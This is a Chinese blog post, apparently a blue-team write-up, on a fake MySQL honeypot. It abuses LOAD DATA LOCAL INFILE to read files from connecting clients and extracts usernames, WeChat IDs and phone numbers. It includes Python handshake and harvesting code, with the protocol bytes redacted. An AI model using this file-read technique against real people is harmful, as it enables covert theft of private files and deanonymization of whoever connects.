『红蓝对抗』利用蜜罐获取攻击者微信ID及手机号

技术

0 x 00 前言

之 前在打 CTF 的时候,多次遇到了这个漏洞

护网期间,研究了一下蜜罐的骚操作,比如获取百度 IDCSDN 账号、微信 ID 等等,对攻击者进行攻击者画像

学习了一下原理,然后做了一些改进,利用 MySQL 的漏洞,获取攻击者手机号

本系统代码非完全原创,部分代码参照 https://github.com/qigpig/MysqlHoneypot

关于 MySQL 任意文件读取漏洞,网上很多大佬写了很详细的分析文章,本文不再复述。同时,如果想复现漏洞,也可选取 github 上其他更加简洁的单文件server代码

0x01 漏洞相关

1.1 漏洞简介

Fake MySQL 顾名思义,就是虚假的MySQL

其实这个名词是我个人习惯的称呼,关于完整的定义目前在网上没有一个公认的说法

以下均为个人理解,如有问题,欢迎指正

Fake MySQL是基于构造一个伪装的MySQL服务器,通过命令或诱导来使受害者连接此服务器,从而利用MySQL的相关漏洞进行文件读取,或者反序列化利用

本文不涉及反序列化的利用,可以简单理解为一个 MySQL 蜜罐,利用漏洞为LOAD DATA LOCAL INFILE的任意文件读取

以上就是本文全部废话了,话不多说,直接进入正题

picture.image

1.2 漏洞复现及利用

文字废话太多,直接上图吧

picture.image

如图所示当我在服务器上运行payload代码,并设置我想要读取的文件,即可进入监听模式。

当攻击者连接我的3306端口,即可成功读取到攻击者电脑上的对应文件。

Linux同理,可以读取 /etc/passwd 等文件。

那么,可以读文件,进一步怎样拓展呢?

根据大佬的文章,我们可以通过读取 C:\Windows\PFRO.log 文件来获取攻击者的用户名,根据用户名读取相应文件夹中的微信配置文件,进而获取微信ID。前提是微信文件保存路径为默认。

获取用户名,如图所示:

picture.image 但 这 种 方式的缺点是,只能单文件读取,每次需要重新设置文件名,不能实现循环读取

于是,根据 https://github.com/qigpig/MysqlHoneypot 中的部分代码,进行进一步的完善和修改,就有了下面的内容:

picture.image

0x02 工具相关

2.1 代码相关

开门见山,本系统代码乍一看很完美,但以普遍理性而论,仅适用于读取 windows 系统的文件。

先看核心代码:


          
def mysql_get_file_content(filename,conn,address):
          
    logpath = os.path.abspath('.') + "/log/" + address[0]
          
    if not os.path.exists(logpath):
          
        os.makedirs(logpath)
          
    conn.sendall("xxx")
          
    try:
          
        conn.recv(1024000)
          
    except Exception as e:
          
        print(e)
          

          
    try:
          
        conn.sendall("xx")
          
        res1 = conn.recv(1024000)
          
        # SHOW VARIABLES
          
        if 'SHOW VARIABLES' in res1:
          
            conn.sendall("xxx")
          
            res2 = conn.recv(9999)
          
            if 'SHOW WARNINGS' in res2:
          
                conn.sendall("xxx")
          
                res3 = conn.recv(9999)
          
                if 'SHOW COLLATION' in res3:
          
                    conn.sendall("xxx")
          
                    res4 = conn.recv(9999)
          
                    if 'SET NAMES utf8' in res4:
          
                        conn.sendall("xxx")
          
                        res5 = conn.recv(9999)
          
                        if 'SET character_set_results=NULL' in res5:
          
                            conn.sendall("xxx")
          
                            conn.close()
          
                    else:
          
                        conn.close()
          
                else:
          
                    conn.close()
          
            else:
          
                conn.close()
          
        else:
          
            try:
          
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
          
                conn.sendall(wantfile)
          
                content=''
          
                while True:
          
                    data = conn.recv(1024)
          
                    print len(data)
          
                    content += data
          
                    if len(data) < 1024:
          
                        print 'ok'
          
                        break
          

          
                conn.close()
          
                item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
          
                if len(content) > 6:
          
                    with open(item, "w") as f:
          
                        f.write(content)
          
                        f.close()
          
                    return (True,content)
          
                else:
          
                    return (False,content)
          
            except Exception as e:
          
                print (e)
          
    except Exception as e:
          
        print (e)
      

这段代码主要有两个作用:

1.判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令 2.如果是直接连接,去读取设定好的文件,并写入本地保存 PS :为了防止读取文件内容不完整,加入了while循环


          
while True:
          
        conn, address = sv.accept()
          
        first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
          
        global files1
          
        global username
          
        global wx_id
          
        file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
          
        res,content = mysql_get_file_content(file,conn,address)
          
        files1.append(files1[0])
          
        files1.remove(files1[0])
          
        if res:
          
            if 'PFRO' in file:
          
                username = get_username(content)
          
                s= "xx" % (xx)
          
                cursor.execute(s)
          
                data = cursor.fetchall()
          
                if len(data)==0:
          
                    s = "XX" % (xx)
          
                    cursor.execute(s)
          
                    db.commit()
          
                    print 'success:'+ file
          
                    insert_file(file,address,username)
          
            elif 'config.data'in file:
          
                content = content
          
                wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
          
                sql = "xxx" % (xxx)
          
                cursor.execute(sql)
          
                db.commit()
          
                wx_id=wxid
          
                img = qrcode.make('weixin://contacts/profile/'+wxid)
          
                img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
          
                print 'success:'+ file
          
                insert_file(file,address,username)
          
            elif 'AccInfo' in file:
          
                content = content
          
                phone = re.findall(r'[0-9]{11}', content)[-1]
          
                sql = "xxx" % (xxx)
          
                cursor.execute(sql)
          
                db.commit()
          
                print 'success:'+ file
          
                insert_file(file,address,username)
          
        else:
          
            files1=files
          
            username='Administrator'
      

这段代码就是从文件内容获取信息并保存到数据库:

1.从C:/Windows/PFRO.log中读取用户名 2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取wx_id 3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号 根据 wx_id 可生成微信二维码,可添加好友,根据实际测试,就算关掉了所有好友申请条件,仍可通过此二维码发起好友申请

剩下的代码无非就是,前端显示了,这里就不展示了,直接上效果图

picture.image

2.2 效果图

首先,docker启动

picture.image

本来想在80端口结合jsonp获取一下百度id以及其他信息,但无奈公开的接口都失效了,80端口只能作为一个诱饵了,下一步会研究一些如何获取百度等论坛的账号信息。

picture.image

访问5000端口。

picture.image

登录后:

picture.image

具体效果:

picture.image

目前实现了获取微信和手机号,对于溯源来说,已经足够用了

picture.image

2.3 吐槽相关

前前后后,修修改改,花了差不多五天时间才完全搞定,但还是存在 bug,请多担待。

本来想增加 linux 文件的读取,但时间和精力有限,只能后续补上。

根据 qigpig 大佬的思路,本来想解决同一IP出口多用户的问题,但想来想去,只能通过用户名和IP进行双重绑定,如果读不到用户名,就没办法了

picture.image

0x03 写在最后

红队大佬可参考 http://www.python88.com/topic/105651 进行蜜罐甄别。

蓝队大佬不建议将本系统作为正式蜜罐部署,仅供参考和玩耍

0x04 参考文档

https://github.com/c0cc/fakeMysql

https://www.freebuf.com/articles/web/247976.html

https://github.com/qigpig/MysqlHoneypot

https://github.com/ev0A/Mysqlist

文源自公众号:宸极实验室

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
字节跳动云原生降本增效实践
本次分享主要介绍字节跳动如何利用云原生技术不断提升资源利用效率,降低基础设施成本;并重点分享字节跳动云原生团队在构建超大规模云原生系统过程中遇到的问题和相关解决方案,以及过程中回馈社区和客户的一系列开源项目和产品。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论